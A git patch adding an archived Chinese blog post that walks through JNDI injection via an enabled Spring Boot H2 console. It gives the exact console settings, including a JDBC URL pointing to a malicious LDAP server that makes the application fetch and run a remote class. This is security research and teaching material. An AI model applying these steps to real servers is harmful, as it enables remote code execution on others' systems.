From b171d60796134105571b669dfd5c855fd6cfabaa Mon Sep 17 00:00:00 2001 From: Mrxn Date: Fri, 7 Jan 2022 22:00:56 +0800 Subject: [PATCH] =?UTF-8?q?add=20Spring=20Boot=20+=20H2=E6=95=B0=E6=8D=AE?= =?UTF-8?q?=E5=BA=93JNDI=E6=B3=A8=E5=85=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- books/Spring Boot + H2数据库JNDI注入.html | 222 ++++++++++++++++++++++ 1 file changed, 222 insertions(+) create mode 100644 books/Spring Boot + H2数据库JNDI注入.html diff --git a/books/Spring Boot + H2数据库JNDI注入.html b/books/Spring Boot + H2数据库JNDI注入.html new file mode 100644 index 0000000..c0739c6 --- /dev/null +++ b/books/Spring Boot + H2数据库JNDI注入.html @@ -0,0 +1,222 @@ + + + + + + + + + + + + + + + + + + + + + + + +Spring Boot + H2数据库JNDI注入 + + + + + + + + +
+ +
+ +
+ + +
+
+ + + +
+ +

+ + + +Spring Boot + H2数据库JNDI注入 +

+
+ + pyn3rd + + + + + 跳动的计算器 + + + 2020-04-29 14:39 +
+ + + + + + + + + + + + + + + + + + +
+ + + + +
  • 在Spring Boot中使用 H2数据库,pom.xml引入依赖

dependency>
<groupId>
org.springframework.boot</groupId>
<artifactId>
spring-boot-starter-data-jpa</artifactId>
<version>
2.2.6.RELEASE</version>
</dependency>

<dependency>
<groupId>
com.h2database</groupId>
<artifactId>
h2</artifactId>
<scope>
runtime</scope>
<version>
1.4.199</version>
</dependency>


  • 默认情况下application.properties文件中不存在以下配置

   spring.h2.console.enabled=true


  • 直接访问抛出异常

图片


  • 如果存在以上配置,可以直接访问 http://127.0.0.1:8080/h2-console

图片


注意:这里的配置可以自定义

  • Setting Name: Generic JNDI Data Source (名称随意)

  • Driver Class: javax.naming.InitialContext (JDK自带也不用考虑额外的驱动)

  • JDBC URL: ldap://127.0.0.1:1389/bwvyqg (恶意LDAP Server)

  • 由于是匿名的,User Name和Password均为空

  • 点击"Save"保存,然后点击"Connect",会加载远程CodeBase的恶意类并执行,计算器弹出。


  • 最终演示如下:


图片


+
+ + + + + + + + +
+ + + + + + + + +
+
+
+ + + + + + + + +
+
+ +
+ + + + + + +
+
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + + + + +
+ + +
\ No newline at end of file